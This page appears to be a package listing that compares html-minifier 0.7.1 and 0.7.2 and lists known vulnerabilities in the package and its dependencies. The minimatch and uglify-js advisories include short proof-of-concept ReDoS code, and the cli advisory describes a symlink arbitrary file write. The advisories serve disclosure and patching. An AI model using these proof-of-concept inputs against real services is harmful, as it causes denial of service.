HTML Minifier is a valuable tool for web developers seeking to optimize website performance by reducing HTML file sizes. Versions 0.7.1 and 0.7.2 share the same core functionality: HTML minification with lint-like capabilities. Both rely on a set of dependencies including change-case, clean-css, cli, concat-stream, uglify-js, and relateurl to handle various aspects of code transformation and manipulation. Similarly, developer dependencies like chalk, cli-table, various grunt-contrib plugins, load-grunt-tasks, qunit, and time-grunt remain consistent, indicating a stable development and testing environment. The license, repository, and author information also remain the same, indicating continuity in the project's management and intellectual property.
The most significant difference between the two versions lies in their release dates. Version 0.7.2 was released on April 5th, 2015, a day after Version 0.7.1 (April 4th, 2015). This close proximity suggests that version 0.7.2 is likely a bug fix or minor improvement over its predecessor. While the specific changes are not detailed in the provided data, developers should consider upgrading to the latest version (0.7.2) to benefit from any fixes or enhancements. By minimizing HTML size, developers can reduce page load times, improve user experience, and potentially boost SEO rankings.
All the vulnerabilities related to the version 0.7.2 of the package
kangax html-minifier REDoS vulnerability
A Regular Expression Denial of Service (ReDoS) flaw was found in kangax html-minifier 4.0.0 because of the reCustomIgnore regular expression.
Regular Expression Denial of Service in clean-css
Version of clean-css
prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Upgrade to version 4.1.11 or higher.
Arbitrary File Write in cli
Affected versions of cli
use predictable temporary file names. If an attacker can create a symbolic link at the location of one of these temporarly file names, the attacker can arbitrarily write to any file that the user which owns the cli
process has permission to write to.
By creating Symbolic Links at the following locations, the target of the link can be written to.
lock_file = '/tmp/' + cli.app + '.pid',
log_file = '/tmp/' + cli.app + '.log';
Update to version 1.0.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.